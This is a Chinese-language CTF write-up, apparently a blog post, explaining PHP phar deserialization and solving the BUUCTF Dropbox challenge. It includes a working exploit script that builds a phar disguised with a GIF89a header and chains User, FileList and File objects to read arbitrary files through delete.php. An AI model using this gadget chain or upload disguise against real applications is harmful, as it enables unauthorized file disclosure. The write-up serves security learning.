Phar与反序列化

phar相关安全知识总结 - 简书 (jianshu.com)

利用 phar 拓展 php 反序列化漏洞攻击面

phar功能

压缩文件,将内容序列化存储

生成phar代码:

#注意:要将php.ini中的phar.readonly选项设置为Off,并删除前面的;,否则无法生成phar文件。
<?php
    class User{
        public $name='khaz';
        function __destruct(){
            echo "destruct";
        }
    }
    $phar = new Phar("test.phar");//生成的压缩文件名为test.phar
    $phar->startBuffering();
    //设置stub
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    //将自定义的meta-data存入manifest
    $a = new User();
    $phar->setMetadata($a);
    //添加要压缩的文件
    $phar->addFromString("test.txt", "test");
    //签名自动计算
    $phar->stopBuffering();
?>

用010打开生成的test.phar

在这里插入图片描述

关注stub和manifest

stub:phar识别标志,只要有了这个识别标志,即使后缀名不为phar,php仍能够将文件识别为phar文件
manifest:这一部分是我们可控的地方,是反序列化漏洞的关键点

存在的漏洞

  1. phar中manifest是用户自定义的

  2. php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化.

    <?php
        class User{
            public $name;
            function __destruct(){
                echo "destruct";
            }
        }
        $a="phar://test.phar";
        file_get_contents($a);
    ?>
    

​ 受到影响的函数

img

利用条件

  1. phar文件要能够上传到服务器端。

  2. 要有可用的魔术方法作为“跳板”。

  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

buu复现–[CISCN2019 华北赛区 Day1 Web1]Dropbox

打开是登录页面,要么目标就是登录上去,要么就是登录后的功能有问题。

先找注册界面,有注册界面,那应该就是登陆后的功能有问题。

有一个文件上传,下载,删除功能。经测试,文件下载部分存在任意文件下载漏洞,通过此漏洞得到源码。


代码审计:

因为buu上有phar标签,所以知道考的是phar。

反着找,先找文件函数

class.php下
return file_get_contents($this->filename);

File::close调用了file_get_contents($this->filename)触发phar反序列化
所以要构造filename=flag所在路径

再看哪里调用了close方法:

  1. download.php

    21,17:     echo $file->close();
    但是这里限制了目录访问并过滤了flag,所以不能利用
    ini_set("open_basedir", getcwd() . ":/etc:/tmp");
    if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false)
    
  2. class.php

User::destruct
57,20:         $this->db->close();
所以猜测要让$db为File对象

正着找

  1. index.php

    $a = new FileList($_SESSION['sandbox']);
    $a->Name();
    $a->Size();
    首先实例化了FileList类,然后调用了这个类中的Name和Size方法,但是FileList类中没有这两个方法,那么就会调用
    __call魔术方法
    
  2. 查找FileList类是否有call方法

    Filelist::callpublic function __call($func, $args) {
            array_push($this->funcs, $func);
            foreach ($this->files as $file) {
                $this->results[$file->name()][$func] = $file->$func();
            }
        }
    __call方法的参数$func是被调用的不存在的方法名
    关注$file->$func(),调用了$func()
    
  3. $file是什么:往前看

    foreach ($filenames as $filename) {
        		//知道$file是File对象
                $file = new File();
                $file->open($path . $filename);
        		//知道files存放path下的所有文件对象($filenames = scandir($path);)
                array_push($this->files, $file);
                $this->results[$file->name()] = array();
     }   
    
  4. 回看call方法

    public function __call($func, $args) {
            array_push($this->funcs, $func);
            foreach ($this->files as $file) {
                //results[文件名][方法名]=File::$func的结果
                $this->results[$file->name()][$func] = $file->$func();
            }
    }
    

    所以Filelist::call就是当Filelist对象调用的方法不在Filelist类时,将该方法用File类重载,并把执行结果保存到Filelist.results中。
    所以如果Filelist对象调用了close方法,就相当于调用了File.close()。
    所以$db应该为Filelist对象,这样就可以调用File.close()

  5. 继续向下看

    public function __destruct()中关注
    foreach ($result as $func => $value) {
                    $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
                }
    将方法结果保存到value即table中
    最后echo $table;就相当于echo file_get_contents($filename);
    
  6. 到这里思路就清晰了。

我们让User类中的$db为Filelist对象,当$db销毁时触发User::destruct()方法,就会调用close方法,但是Filelist::close不存在,就会触发Filelist::call,从而调用File::close,执行file_get_contents($filename),最后将结果返回输出。

payload

<?php
    class User {
    	public $db;
    }
    class File {
    	public $filename;
    }
    class FileList {
        private $files;
        private $results;
        private $funcs;
        public function __construct() {
            $this->files = array();
            $this->results = array();
            $this->funcs = array();
            
            $file = new File();
            $file->filename = '/flag.txt';	# 这里的flag.txt是多次猜测出来的
            array_push($this->files, $file);
    	}
    }

	#让User类中的$db为Filelist对象
    $user = new User();
	$filelist = new FileList();
	$user->db = $filelist;

    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub,增加gif文件头
    $phar->setMetadata($user); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

最后将生成的phar.phar上传(直接修改文件后缀名后上传或者抓包修改content-type)为phar.gif,然后使用phar协议访问文件,有两个地方可以访问,download.php和delete.php,前面分析过dowmload.php对目录和文件名作了限制,所以使用delete.php来进行访问。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值